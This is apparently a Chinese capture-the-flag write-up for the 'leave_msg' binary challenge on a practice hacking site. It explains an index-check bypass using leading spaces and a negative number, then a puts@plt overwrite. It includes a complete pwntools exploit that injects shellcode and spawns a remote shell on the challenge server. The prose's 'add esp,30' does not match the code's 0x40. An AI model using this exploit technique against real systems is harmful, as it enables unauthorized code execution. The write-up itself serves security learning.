https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了leave_msg这个题目感觉还不错,我把wp分享出来,方便大家学习
leave_msg的题目要求是:

nc hackme.inndy.tw 7715
I am on a vacation, leave the message for me.

把leave_msg直接拖入ida中:

这个程序流程很简单,首先输入留言,然后输入留言的序号,最多只能留三条留言,最后程序把你的留言打出来。这个程序会把你写的留言保存到bss段,同时限制你留言的长度不能超过8个字符,留言的序号也限制在小于64条,而且,输入的序号第一个字符不能是“-”(v3 <= 64 && nptr != 45
先运行一下程序看一下这个程序干了啥

再看看程序开启了哪些保护:

看到这个程序开了栈段可执行,还关闭了随机基地址,所以这个程序只要找到漏洞就可以利用起来

我的思路是在输入留言序号的时候输入负数,向上覆盖puts@plt中的地址,使程序在运行到puts的函数时能跳到我的shellcode中执行。因为输入序号的第一个字符不能是"-",所以利用atoi( ) 函数会扫描参数 nptr字符串,跳过前面的空白字符(例如空格,tab缩进)这个特性,在输入序号之前输入几个空格,然后再输入负数就可以绕过v3 <= 64 && nptr != 45这个限制了
Ps:
(1)这个程序首先不是整数溢出,因为当输入大于2147483647数字时,atoi会一直输出7FFFFFFF
(2)虽然程序用了strdup这个函数,但是程序不是uaf,或者堆溢出,因为没有释放内存的操作
(3)这个程序不是栈溢出,虽然read函数可以在缓冲区输入很多字符,但是输入的字符始终没有覆盖到__libc_start_main的返回地址,导致没有办法利用

所以我都exp是

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x80486f1'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)


elf = ELF('/home/h11p/hackme/leave_msg')


#io = process('/home/h11p/hackme/leave_msg')

io = remote('hackme.inndy.tw', 7715)



payload1 =asm("add esp,0x40")+asm("jmp esp")+"\x00"+"\x90"*20+asm(shellcraft.sh())
payload2 = "\x20"*6+"-16"
#debug()

io.recvuntil("I'm busy. Please leave your message:\n")
io.sendline(payload1)
io.recvuntil("Which message slot?\n")
io.send(payload2)
#io.recvuntil("Goodbye\n")
io.interactive()
io.close()

这里我依靠"\x20"*6+"-16",让序号所指向的指针向上跳到puts@plt中,从而覆盖puts@plt,这样程序执行到puts时就可以跳到strdup开辟的堆空间中,因为strdup只能放入八个字节,所以就在堆中放入add esp ,30;jmp esp;这样的短代码,因为strlen在遇到0x00的时候就会停止计数,所以把大段shellcode放入0x00后面,这样程序就可以顺利的执行shellcode了。下图是程序各个段权限

exp执行的效果是:

leave_msg.zip (0.002 MB) 下载附件
源链接

Hacking more

...